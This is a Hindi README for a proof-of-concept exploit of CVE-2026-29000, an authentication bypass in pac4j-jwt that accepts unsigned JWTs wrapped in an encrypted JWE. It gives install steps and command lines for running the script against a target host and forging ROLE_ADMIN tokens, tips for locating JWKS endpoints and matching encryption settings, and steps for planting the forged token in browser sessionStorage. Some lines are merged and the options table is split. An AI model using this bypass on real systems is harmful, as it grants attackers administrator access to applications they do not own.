
CVE-2026-29000 PoC: pac4j-jwt में PlainJWT-in-JWE प्रमाणीकरण बाईपास।
CVE-2026-29000 के लिए प्रूफ-ऑफ-कॉन्सेप्ट। pac4j-jwt के 4.5.9, 5.7.9, और 6.3.3 से पहले के संस्करणों को लक्षित करता है।
यह भेद्यता सीधी है: लाइब्रेरी एक PlainJWT (अहस्ताक्षरित, alg=none) को तब तक स्वीकार करती है जब तक वह एक मान्य JWE के अंदर लपेटा गया हो। चूंकि सर्वर अपनी RSA सार्वजनिक कुंजी JWKS एंडपॉइंट के माध्यम से उजागर करता है, कोई भी व्यक्ति एक मनमाना अहस्ताक्षरित JWT को JWE में एन्क्रिप्ट कर सकता है जिस पर सर्वर भरोसा करेगा — जिसमें ROLE_ADMIN वाला भी शामिल है।
alg=none) बनाएंसर्वर इसे डिक्रिप्ट करता है, अंदर के दावों पर भरोसा करता है, और कभी जांच नहीं करता कि आंतरिक JWT अहस्ताक्षरित है या नहीं।
uv के साथ Python 3.13+, या निर्भरताएँ मैन्युअल रूप से इंस्टॉल करें:
pip install jwcrypto requests
[uv run / python3] CVE-2026-29000.py --url <base_url> --jwks <jwks_path> [options]
अनिवार्य:
| flag | विवरण |
|---|---|
--url | लक्ष्य का आधार URL, जैसे http://10.10.11.x:8080 |
--jwks | JWKS एंडपॉइंट का पथ या पूर्ण URL |
वैकल्पिक:
उदाहरण:
python3 exploit.py --url http://10.10.11.x:8080 --jwks /api/auth/jwks
python3 exploit.py --url http://10.10.11.x:8080 --jwks /api/auth/jwks --user john --role ROLE_ADMIN
python3 exploit.py --url http://10.10.11.x:8080 --jwks /.well-known/jwks.json --enc A128GCM
हमेशा स्पष्ट नहीं होता। देखने के लिए अच्छे स्थान:
/robots.txt — अक्सर प्रतिबंधित या आंतरिक पथ सूचीबद्ध करता है/api/auth/jwks/.well-known/jwks.json/.well-known/openid-configurationयदि टोकन अस्वीकार कर दिया जाता है, तो ऐप किसी विशिष्ट एन्क्रिप्शन एल्गोरिदम की अपेक्षा कर सकता है। /static/js/app.js में कुछ इस तरह जाँचें:
const JWE_ALG = "RSA-OAEP-256";
const JWE_ENC = "A128GCM";
फिर --enc A128GCM के साथ फिर से चलाएँ।
टोकन संग्रहण विधि भी आमतौर पर वहीं होती है:
class TokenManager {
static getToken() {
return sessionStorage.getItem('auth_token');
}
}
यदि यह sessionStorage है, तो DevTools में Application > Session Storage के अंतर्गत टोकन को सीधे बदलें।
4.5.9, 5.7.9, और 6.3.3 में ठीक किया गया।
| flag | डिफ़ॉल्ट | विवरण |
|---|
--user | admin | sub दावे के लिए मान |
--role | ROLE_ADMIN | जाली बनाने के लिए भूमिका (ROLE_ADMIN, ROLE_MANAGER, ROLE_USER) |
--issuer | principal-platform | iss दावे के लिए मान |
--enc | A256GCM | JWE सामग्री एन्क्रिप्शन (A256GCM या A128GCM) |